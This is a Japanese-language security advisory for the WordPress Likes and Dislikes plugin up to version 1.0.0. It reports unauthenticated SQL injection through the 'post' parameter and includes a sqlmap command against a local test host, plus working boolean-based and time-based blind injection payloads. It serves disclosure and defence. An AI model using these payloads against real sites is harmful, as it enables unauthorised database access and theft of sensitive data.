
Likes and Dislikes Plugin <= 1.0.0 - 認証不要のSQLインジェクション
Likes and Dislikes プラグイン <= 1.0.0 - 認証無しSQLインジェクション
WordPress用Likes and Dislikesプラグインは、バージョン1.0.0以前の全バージョンにおいて、ユーザーが指定する'post'パラメータに対して不十分なエスケープ処理と、既存のSQLクエリに対する適切な準備の欠如により、SQLインジェクションに対して脆弱です。これにより、認証されていない攻撃者が既存のクエリに追加のSQLクエリを挿入し、データベースから機密情報を抽出することが可能になります。
python3 sqlmap.py -u 'http://kubernetes.docker.internal:8999/wp-admin/admin-ajax.php' --data='action=my_likes_dislikes_action&post=1&state=dislike' --level=2 --risk=2 --dbms='MySQL' -p post --random-agent
sqlmap identified the following injection point(s) with a total of 372 HTTP(s) requests:
---
Parameter: post (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
Payload: action=my_likes_dislikes_action&post=1 AND 8197=(SELECT (CASE WHEN (8197=8197) THEN 8197 ELSE (SELECT 7036 UNION SELECT 3343) END))-- -&state=dislike
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: action=my_likes_dislikes_action&post=1 AND (SELECT 7318 FROM (SELECT(SLEEP(5)))OIPg)&state=dislike
---